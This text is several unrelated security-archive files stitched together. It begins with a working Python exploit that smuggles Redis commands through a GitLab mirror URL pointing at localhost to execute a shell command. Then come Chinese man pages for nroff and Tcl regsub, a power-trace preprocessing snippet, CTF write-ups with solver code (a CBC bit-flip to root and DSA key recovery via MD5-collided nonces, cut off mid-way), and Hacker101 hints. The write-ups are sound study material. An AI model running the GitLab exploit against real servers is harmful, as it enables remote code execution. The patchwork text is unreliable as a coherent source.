#!/usr/bin/env python3 import requests import sys from bs4 import BeautifulSoup from urllib.parse import urljoin import random import logging import time s = requests.Session() def get_csrf_token(html): soup = BeautifulSoup(html) auth_token = soup.find("input", {"name": "authenticity_token"}) return auth_token["value"] def login(username, password): response = s.get(urljoin(target, '/users/sign_in')) token = get_csrf_token(response.text) data = { 'user[login]': username, 'user[password]': password, 'authenticity_token': token } response = s.post(urljoin(target, '/users/sign_in'), data=data) assert(response.status_code == 200) def execute_payload(username, project, payload): namespace = username response = s.get(urljoin(target, "/".join([namespace, project, 'settings/repository']))) token = get_csrf_token(response.text) url = 'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/\r\n\n\n' + payload + '\n' data = { '_method': 'patch', 'project[remote_mirrors_attributes][0][enabled]': '1', 'project[remote_mirrors_attributes][0][only_protected_branches]': 'true', 'project[remote_mirrors_attributes][0][uri]': url, 'uri': url, 'authenticity_token': token, 'auth_metod': '', 'password': '' } response = s.post(urljoin(target, "/".join([namespace, project, 'mirror'])), data=data) data = { '_method': 'post', 'authenticity_token': token } response = s.post(urljoin(target, "/".join([namespace, project, 'mirror/update_now?sync_remote=true'])), data=data) if __name__ == '__main__': if len(sys.argv) != 5: print("python3 exploit.py target username password projectname") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] projectname = sys.argv[4] jid = ''.join(random.choice('0123456789abcdeg') for n in range(24)) payload = """ multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"classeval\\",\\"open(\\'|whoami > /tmp/a \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"%s\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}" exec exec """ % jid login(username, password) execute_payload(username, projectname, payload)
sec-knowleage
.ig Copyright (C) 1989-2001 Free Software Foundation, Inc. Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies. Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one. Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions, except that this permission notice may be included in translations approved by the Free Software Foundation instead of in the original English. .. .TH NROFF 1 "23 September 2003" "Groff Version 1.18.1" .SH NAME nroff \- 用 groff 模拟 nroff 命令 .SH "总览 SYNOPSIS" .nr a \n(.j .ad l .nr i \n(.i .in +\w'\fBnroff 'u .ti \niu .B nroff .de OP .ie \\n(.$-1 .RI "[\ \fB\\$1\fP" "\\$2" "\ ]" .el .RB "[\ " "\\$1" "\ ]" .. .OP \-h .OP \-i .OP \-m name .OP \-n num .OP \-o list .OP \-p .OP \-r cn .OP \-S .OP \-t .OP \-T name .OP \-U .OP \-v .RI "[\ " "file" "\ .\|.\|.\ ]" .br .ad \na .SH "描述 DESCRIPTION" .B nroff shell 脚本用 groff 来模拟 .B nroff 命令。 .B -T 选项允许的有效参数是 .BR ascii , .BR ascii8 , .BR latin1 , .BR utf8 , .BR nippon , 以及 .B cp1047 。如果参数无效,或者没有给出 .BR \-T 选项, .B nroff 检测当前语言环境来选择一个默认的输出设备。它首先使用 .B locale 程序,然后检测环境变量 .BR LC_ALL , .BR LC_CTYPE , 和 .BR LANG , 最后是 .B LESSCHARSET 环境变量。 .PP .B \-h 和 .B \-c 选项与 .BR grotty 的 .B \-h (在输出中使用tab) 和 .B \-c (使用老式的输出方案而不是 SGR 转义序列) 选项等价。 .BR \-C , .BR \-i , .BR \-n , .BR \-m , .BR \-o , 和 .B \-r 选项的效果在 .BR troff (1) 中详述。另外, .B nroff 忽略 .BR \-e , .BR \-q , 和 .BR \-s (在 .BR troff 中没有实现) 选项,没有任何提示。 .B \-p (pic), .B \-t (tbl), .B \-S (safer), 和 .B \-U (unsafe) 选项被传给 .BR groff . .B \-v 显示版本号。 .SH "环境 ENVIRONMENT" .TP .SM .B GROFF_BIN_PATH 一个冒号分隔的路径列表,在搜索 PATH 之前从中搜索 .B groff 可执行文件。如果没有设置,将使用 `/usr/bin'. .SH "注意 NOTES" 这个 shell 脚本一般用于配合 .BR man (1) 使用,所以不输出警告信息。nroff 样式的字符定义 (在文件 tty-char.tmac 中) 会被读取,来模拟不可显示的符号。 .SH "参见 SEE ALSO" .BR groff (1), .BR troff (1), .BR grotty (1) .SH "[中文版维护人]" .\" 译者 .\" 唐友 <tony_ty@263.net> .\" 翻译日期 .\" 2001.08.28 .B bbbush <bbbush@163.com> .SH "[中文版最新更新]" .B 2003.11.22 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net . .\" Local Variables: .\" mode: nroff .\" End:
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" Copyright (c) 2000 Scriptics Corporation. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: regsub.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: regsub.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH regsub 3tcl 8.3 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME regsub \- 基于正则表达式模式匹配进行替换 .SH "总览 SYNOPSIS" \fBregsub \fR?\fIswitches\fR? \fIexp string subSpec varName\fR .BE .SH "描述 DESCRIPTION" .PP 这个命令针对 \fIstring \fR匹配正则表达式 \fIexp\fR,并且它把 \fIstring\fR 复制到用 \fIvarName\fR 给出名字的变量中。(正则表达式匹配的描述请参见 \fBre_syntax\fR 参考页。)如果有一个匹配,则在复制 \fIstring\fR 到 \fIvarName\fR 期间,\fIstring\fR 中匹配 \fIexp\fR 的那部分将被替代为 \fIsubSpec\fR。如果 \fIsubSpec\fR 包含一个``&''或``\e0'',则在这个替换中它被替代为 \fIstring\fR 中匹配 \fIexp \fR的那部分。如果 \fIsubSpec\fR 包含一个``\e\fIn\fR'',这里的 \fIn\fR 是在 1 和 9 之间的一个数字,则在这个替换中它将被替代为 \fIstring\fR 中匹配第 \fIn \fR个圆括号中的子表达式 \fIexp \fR的那部分。 在 \fIsubSpec\fR 中可以使用额外的反斜杠来防对``&''、``\e0''、``\e\fIn\fR''或反斜杠的特殊解释。在 \fIsubSpec\fR 中使用的反斜杠可能与 Tcl 分析器使用的反斜杠有所冲突。所以,如果 \fIsubSpec\fR 中包含反斜杠,最安全的方式通常是把 \fIsubSpec\fR 包围在花括号中。 .LP 如果给 \fBregexp\fR 的初始的参数以 \fB-\fR 为开始,则它们被作为开关来对待。当前支持下列开关: .TP 10 \fB\-all\fR 找到 \fIstring\fR 中匹配 \fIexp\fR 的所有范围,并对每个范围进行替换。没有这个选项,则只有第一个匹配的范围被找到并替换。如果指定了 \fB-all\fR,则对于每次替换使用相应的匹配信息来处理``&''和``\e\fIn\fR''序列。 .TP 15 \fB\-expanded\fR 启用展开的(expanded)正则表示式语法,将忽略白空格和注释。这与指定 \fB(?x)\fR 嵌入选项相同。 (see METASYNTAX, below). .TP 15 \fB\-line\fR 启用换行敏感匹配。缺省的,换行是没有特殊意义的一个完全的普通字符。加上了这个标志,‘[^’ 方括号表达式和‘.’将永不匹配换行,‘^’除了它的正常功能之外还匹配在任何换行之后的空串,而‘$’除了它的正常功能之外还匹配在任何换行之前的空串。这个标志等价于指定 \fB-linestop\fR 和 \fB-lineanchor \fR二者,或者 \fB(?n)\fR 嵌入选项。 (see METASYNTAX, below). .TP 15 \fB\-linestop\fR 改变‘[^’方括号表达式和‘.’的行为,这样表示式将停止于换行。这与指定 \fB(?p)\fR 嵌入选项相同。(see METASYNTAX, below). .TP 15 \fB\-lineanchor\fR 改变‘^’和‘$’(“锚”)的行为,这样它们分别的匹配一行的开始和结束。这与指定 \fB(?w)\fR 嵌入选项相同。 (see METASYNTAX, below). .TP 10 \fB\-nocase\fR Upper-case characters in \fIstring\fR will be converted to lower-case before matching against \fIexp\fR; however, substitutions specified by \fIsubSpec\fR use the original unconverted form of \fIstring\fR. .VS 8.3 .TP 10 \fB\-start\fR \fIindex\fR 在字符串中指定一个字符索引,在这个偏移量上开始匹配。当使用了这个开关的时候,‘^’将不匹配行的开始,而 \\A 将仍旧在 \fIindex \fR上匹配字符串的开始。\fIindex\fR 将被约束为输入字符串的束缚。 .VE 8.3 .TP 10 \fB\-\|\-\fR 标记开关的结束。这个标志之后的参数即使以 \fB- \fR为开始仍被作为 \fIexp\fR 对待。 .PP 这个命令返回找到并替换的匹配范围的总数。正则表达式的解释详见 \fBregexp\fR 的手册条目。 .SH "参见 SEE ALSO" regexp(n), re_syntax(n) .SH "关键字 KEYWORDS" match, pattern, regular expression, substitute .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/10/27 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
from library import * from lib_attack import * import sys import numpy as np inputs, outputs, traces = parse(sys.argv[1], left=750000, right=800000) normalize(traces) smooth(traces, 25) align(traces, range(-5000, 15000)) save_traces(sys.argv[2], inputs, outputs, traces)
sec-knowleage
# USSH (crypto, 31 solved, 138p) ``` We've developed a new restricted shell. It also allows to manage user access more securely. Let's try it nc crypto-01.v7frkwrfyhsjtbpfcppnu.ctfz.one 1337 ``` In the task we get access to a blackbox restricted shell. We can use command `help` to get list of available commands and there are: ``` abcd@crypto: $ help Avaliable commands: ls, cat, id, session, help, exit ``` We can list the directory and there is a `flag.txt` there, but we can't use `cat` on it because we are not root. First interesting function is `id`, which returns: ``` abcd@crypto: $ id uid=3(regular) gid=3(regular) groups=3(regular) ``` The really interesting function is `session`. We can get or set a session with this command. Getting the session gives us: ``` abcd@crypto: $ session --get avRMXhMPfzzwhK5WDJhE7w==:EP2QRrs0I0y9H3Zzen2V1t7cMPGxjIQGVZ/Y+STDo6M= ``` Both parts decode to some random bytes. If we change username the blocks change - first one is always 16 bytes long, but the other one expands by 16 bytes. This indicates some block crypto with 16 bytes blocks. We can use `session --set` to play around with those parameters, and if we give fewer bytes for the first part, we get a nice error that `IV has to be 16 bytes long`. This answer the question what those parts are - first part is IV and the second part is some encrypted payload. Flipping bytes of the IV by 1 bit cause the session to be `invalid` for the first few bytes, but once we flip 10th byte our prompt change! ```python url = 'crypto-01.v7frkwrfyhsjtbpfcppnu.ctfz.one' s = nc(url, 1337) s.recv(9999) login = 'a' * 7 send(s, login) receive_until_match(s, '\$ ') send(s, 'session --get') session = receive_until(s, "\n")[:-1] print(session) receive_until_match(s, '\$ ') iv, ct = map(base64.b64decode, session.split(":")) iv = xor_string(iv, "".join(map(chr, [0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0]))) new_session = base64.b64encode(iv) + ":" + base64.b64encode(ct) send(s, 'session --set ' + new_session) result = receive_until_match(s, '\$ ') print(result) ``` Which gives: ``` caaaaaa@crypto: $ ``` And since `chr(ord('a')^2)) == 'c'`, we can confirm that in the payload we provide the 10th byte is where our `login` is stored. For some reason flipping any bit of the first 9 bytes causes the `session is invalid` error, so we guess that the data have to be stored in some structure, most likely JSON, so prefix is something like `{'user':'`. We can run: ```python url = 'crypto-01.v7frkwrfyhsjtbpfcppnu.ctfz.one' for i in range(1, 16): s = nc(url, 1337) s.recv(9999) login = 'a' * i send(s, login) receive_until_match(s, '\$ ') send(s, 'session --get') session = receive_until(s, "\n")[:-1] print(session) receive_until_match(s, '\$ ') iv, ct = map(base64.b64decode, session.split(":")) print(i, len(ct)) s.close() ``` And we see that once our login name is 9 bytes long a 3rd ciphertext block appears, so at this point the whole payload takes 2 blocks (the new block is only PKCS padding). So we've got 9 bytes of prefix, 9 bytes of login name, and suffix, and it all takes 32 bytes -> suffix is 14 bytes long. We're lucky! This means we can bitflip the whole suffix if we want to, because it never exceeds a single block. Our guess is that the group name is stored in this suffix, so we need to find the position and then bitflip it to `root`. We can't bitflip the first ciphertext block, because it has some fixed prefix, which would break. We need to create a whole another block to work with. For this we can send a long login, which will fill the first block (7 characters) and then fill whole another block as well (16 characters). This way we can bitflip the second block, because it will only "break" the second part of our login name, and we don't care about it at all. Again we can run a simple loop, just like we did flipping IV, but this time flipping second block of ciphertext, and we can observer the results of `id` function. We know that the whole suffix has to fit in the third block of ciphertext, since we just pushed it there. ```python url = 'crypto-01.v7frkwrfyhsjtbpfcppnu.ctfz.one' s = nc(url, 1337) s.recv(9999) login = 'a' * (7 + 16) send(s, login) receive_until_match(s, '\$ ') send(s, 'session --get') session = receive_until(s, "\n")[:-1] print(session) receive_until_match(s, '\$ ') iv, ct = map(base64.b64decode, session.split(":")) real_ct = ct for i in range(48): xor_block = [0] * 48 xor_block[i] = 2 ct = xor_string("".join(map(chr, xor_block)), real_ct) new_session = base64.b64encode(iv) + ":" + base64.b64encode(ct) send(s, 'session --set ' + new_session) result = receive_until_match(s, '\$ ') if 'Invalid' not in result and "PKCS7" not in result: print(i, xor_block) send(s, 'id') print(receive_until_match(s, '\$ ')) ``` From this we can see: ``` (23, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) uid=3(pegular) gid=3(pegular) groups=3(pegular) (24, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) uid=3(rggular) gid=3(rggular) groups=3(rggular) (25, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) uid=3(reeular) gid=3(reeular) groups=3(reeular) (26, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) uid=3(regwlar) gid=3(regwlar) groups=3(regwlar) (27, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) uid=3(regunar) gid=3(regunar) groups=3(regunar) (28, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) uid=3(regulcr) gid=3(regulcr) groups=3(regulcr) (29, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) uid=3(regulap) gid=3(regulap) groups=3(regulap) (30, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) uid=3(regular) gid=3(regular) groups=3(regular) ``` So it's clear that flipping byte `23` changes the first letter of group name. The only thing left is calculate the necessary xor block to change `regular` into `root`: ```python import base64 from crypto_commons.generic import xor_string from crypto_commons.netcat.netcat_commons import nc, send, receive_until_match, receive_until def main(): url = 'crypto-01.v7frkwrfyhsjtbpfcppnu.ctfz.one' s = nc(url, 1337) s.recv(9999) login = 'a' * (7 + 16) send(s, login) receive_until_match(s, '\$ ') send(s, 'session --get') session = receive_until(s, "\n")[:-1] print(session) receive_until_match(s, '\$ ') iv, ct = map(base64.b64decode, session.split(":")) real_ct = ct data = 'regular)' sp_xor_block = map(ord, xor_string(data, 'root) ')) for i in range(256): # brute force the last byte to close the string xor_block = [0] * 23 + sp_xor_block + [i] + [0] * 16 ct = xor_string("".join(map(chr, xor_block)), real_ct) new_session = base64.b64encode(iv) + ":" + base64.b64encode(ct) send(s, 'session --set ' + new_session) result = receive_until_match(s, '\$ ') if 'Invalid' not in result and "PKCS7" not in result: print(i, xor_block, result) send(s, 'id') print(receive_until_match(s, '\$ ')) send(s, 'cat flag.txt') result = receive_until_match(s, '\$ ') if 'ctfzone' in result: print(result) break main() ``` And we get `ctfzone{2e71b73d355eac0ce5a90b53bf4c03b2}`
sec-knowleage
# Cody's First Blog ## [Flag0](./flag0) -- Found - What was the first input you saw? - Figuring out what platform this is running on may give you some ideas - Code injection usually doesn't work ## [Flag1](./flag1) -- Found - Make sure you check everything you're provided - Unused code can often lead to information you wouldn't otherwise get - Simple guessing might help you out ## [Flag2](./flag2) -- Found - Read the first blog post carefully - We talk about this in the Hacker101 File Inclusion Bugs video - Where can you access your own stored data? - Include doesn't just work for filenames
sec-knowleage
# Public Key Infrastructure (crypto) ## ENG [PL](#pl-version) In the task we get [code](task.py) running on the server. We can "register" a new user, and for given `login name` and set of binary bytes `n` we get RSA-encrypted with `(65537, n)` digital signature of string `'MSG = {n: ' + n + ', name: ' + name + '}'`. Bytes `n` are simply casted to int. We can also "login" by providing `login name`, `n` and a proper signature, and this will give us the flag if we login as `admin`. Obviously we can't register "admin" and there is no way around the check here. The Digital Signature Algorithm is implemented with no issues here, so there is no vulnerability there. It took us a while to figure out the mistake and how to exploit it. The problem in the code is here: ```python def makeK(name, n): return 'K = {n: ' + n + ', name: ' + name + ', secret: ' + SECRET + '}' ``` Value `k` should be secret and unpredictable for every signature, because if we can obtain 2 signatures with the same `k`, we can very simply recover the value of `k`. In our case this condition is not really fulfilled, because md5 algorithm is prone to collisions. It it also Merkle-Damgard hash prone to length extension, and therefore if we can get a collision on two inputs, the hash values will stay the same even if we add more data at the end, as long as we add the same data. This means that if we can find a collision on prefix `'K = {n: ' + n` for two different `n` values, we will get identical `k` values (if we use the same `name`) because the suffixes are always the same. We used `fastcoll/hashclash` to generate the collisions for the prefix `'K = {n: ' + n` with random bytes as `n` value. There is, however, one slight issue -> we actually can't use a totally random `n` value! After all the server is using this value for RSA encryption of the signature, so if we can't factor `n` we won't be able to decrypt the signature we need. Therefore, we wrote a simple script which was checking the `n` values we got in the collision in factordb to make sure it is factored: ```python def is_ok(data): if data.strip() == "CF *": return False if data.strip() == "CF": return False return True def check_n(file): payload = open("colisions/"+file, "rb").read()[8:] n = int(payload.encode('hex'), 16) r = get(url="https://factordb.com/index.php?query="+str(n)) soup = BeautifulSoup(r.text) data = soup.getText().split("\n") return is_ok(data[data.index('Result:')+4]) ``` With this after a while we manage to get two nice collisions with proper `n` values: [col1](col1), [col2](col2). They both are fully factored in factordb so we get factors: ``` factors1 = [234616432627, 705869477985961204313551643916777744071330628233585786045998984992545254851001542557142933879996265894077678757754161926225017823868556053452942288402098017612976595081470669501660030315795007199720049960329731910224810022789423585714786440228952065540955255662140767866791612922576360776884260619L] factors2 = [119851, 236017, 5854608817710130372948444562294396040006311067115965740712711205981029362712183315259168783815905208719000197236691607700100836391807927746833977891792631066541406816904680111217125634549418611669208807316369565620310660295144628581977856740654199823679135895590513942858128229967305158632385155587L] ``` With this we can use standard RSA for first one, and multiprime RSA for the second one, and decode the signatures from the server. The signature is a pair `(s,r)` or in our case a single value `r*Q + s` which can be easily split into `s` and `r` by div and mod. Directly from the way the value `s` is calcualted we have: ``` s_1 = modinv(k,q) * (H(msg_1) + private_key*r) mod q s_2 = modinv(k,q) * (H(msg_2) + private_key*r) mod q ``` We can transform this further: ``` (s_1 - s_2) modq = (modinv(k,q) * (H(msg_1) + private_key*r) - modinv(k,q) * (H(msg_2) + private_key*r)) modq ``` then: ``` (s_1 - s_2) modq = modinv(k,q) * (H(msg_1) + private_key*r - H(msg_2) - private_key*r) modq ``` which removes the unknown `private_key*r` part leaving: ``` (s_1 - s_2) modq = modinv(k,q) * H(msg_1) - H(msg_2) modq ``` And therefore we get the equation for `k`: ``` k modq = ((H(msg_1) - H(msg_2)) * modinv((s_1 - s_2), q)) modq ``` If we have `k` we can easily recover the `private_key` again transforming the equation: ``` s = modinv(k,q) * (H(msg) + private_key*r) mod q ``` because now we know all the values, so we can transform this to: ``` private_key = ((s * k) - H(m)) * modinv(r, q) ``` Now if we have the private key we can sign any message we want. Keep in mind that the value of `SECRET` which server uses to calculate `k` is not needed for us at all. The value of `k` can be any number, so we can make: ```python def simple_sign(name, n, priv): k = 5 # why not? ;) r = pow(G, k, P) % Q s = (modinv(k, Q) * (h(makeMsg(name, n)) + priv * r)) % Q return r * Q + s ``` And this will give us the proper signature for the data. We calculate `admin_sig = simple_sign("admin", "1", private_key)`, and login with it to get the flag: `DrgnS{ThisFlagIsNotInterestingJustPasteItIntoTheScoreboard}` The whole solver script is [here](solver.py) ## PL version W zadaniu dostajemy [kod](task.py) działający na serwerze. Możemy "zarejestrować" nowego użytkownika, a dla danego `loginu` oraz pewnych danych binarnych `n` dostaniemy zaszyfrowane za pomocą RSA z `(65537, n)` cyfrowy podpis dla stringa `'MSG = {n: ' + n + ', name: ' + name + '}'`. Bajty `n` są tutaj zwyczajnie rzutowane do inta. Możemy także "zalogować" się podając `login`, `n` oraz poprawny podpis i to da nam flagę jeśli zalogujemy się jako `admin`. Oczywiście nie możemy zarejestrować loginu "admin" i nie ma da się tego obejść. Digital Signature Algorithm jest tu zaimplementowan bez widocznych błędów ani różnic, więc nie ma tam żadnej podatności. Zajęło nam trochę czasu znalezienie luki i wymyślenie jak ją wykorzystać. Problem jest tutaj: ```python def makeK(name, n): return 'K = {n: ' + n + ', name: ' + name + ', secret: ' + SECRET + '}' ``` Wartość `k` powinna być sekretna i nieprzewidywalna dla każdego podpisu, ponieważ jeśli jesteśmy w stanie uzyskać 2 podpisy z tym samym `k`, możemy łatwo wyliczyć `k`. W naszym przypadku ten warunek nie jest spełniony bo md5 jest podatne na kolizje. Jest to takze hash konstrukcji Merkle-Damgard podatny na length extension a to oznacza, że jeśli uzyskamy kolizje dla pewnych dwóch zbiorów danych wejściowych to wartość hasha md5 dla nich będzie równa nawet jeśli dodamy na koniec jakieś dane, o ile dodajemy te same dane. To oznacza że jeśli znajdziemy kolizje dla prefixu `'K = {n: ' + n` dla dwóch różnych wartości `n` to uzyskamy identyczne wartości `k` dla nich (jeśli używamy takiego samego `name`), bo suffixy są takie same. Użyliśmy `fastcoll/hashclash` do generowania kolizji dla prefixu `'K = {n: ' + n` z losowymi bajtami jako `n`. Jest tutaj jednak pewien problem -> nie możemy użyć zupełnie dowolnego `n`! Należy pamiętać, że serwer odsyła nam podpis zaszyfrowany przez RSA z użyciem `n`, więc jeśli nie umiemy sfaktoryzować `n` to nie będziemy mogli zdekodować podpisu. W związku z tym napisaliśmy skrypt który sprawdzał w factordb wartości `n` dla których dostaliśmy kolizje, zeby upewnić się, że mamy dla nich faktoryzacje: ```python def is_ok(data): if data.strip() == "CF *": return False if data.strip() == "CF": return False return True def check_n(file): payload = open("colisions/"+file, "rb").read()[8:] n = int(payload.encode('hex'), 16) r = get(url="https://factordb.com/index.php?query="+str(n)) soup = BeautifulSoup(r.text) data = soup.getText().split("\n") return is_ok(data[data.index('Result:')+4]) ``` Dzięki temu po pewnym czasie udało nam się uzyskać kolizje z pasujacymi `n`: [col1](col1), [col2](col2). Obie są w pełni sfaktoryzowane: ``` factors1 = [234616432627, 705869477985961204313551643916777744071330628233585786045998984992545254851001542557142933879996265894077678757754161926225017823868556053452942288402098017612976595081470669501660030315795007199720049960329731910224810022789423585714786440228952065540955255662140767866791612922576360776884260619L] factors2 = [119851, 236017, 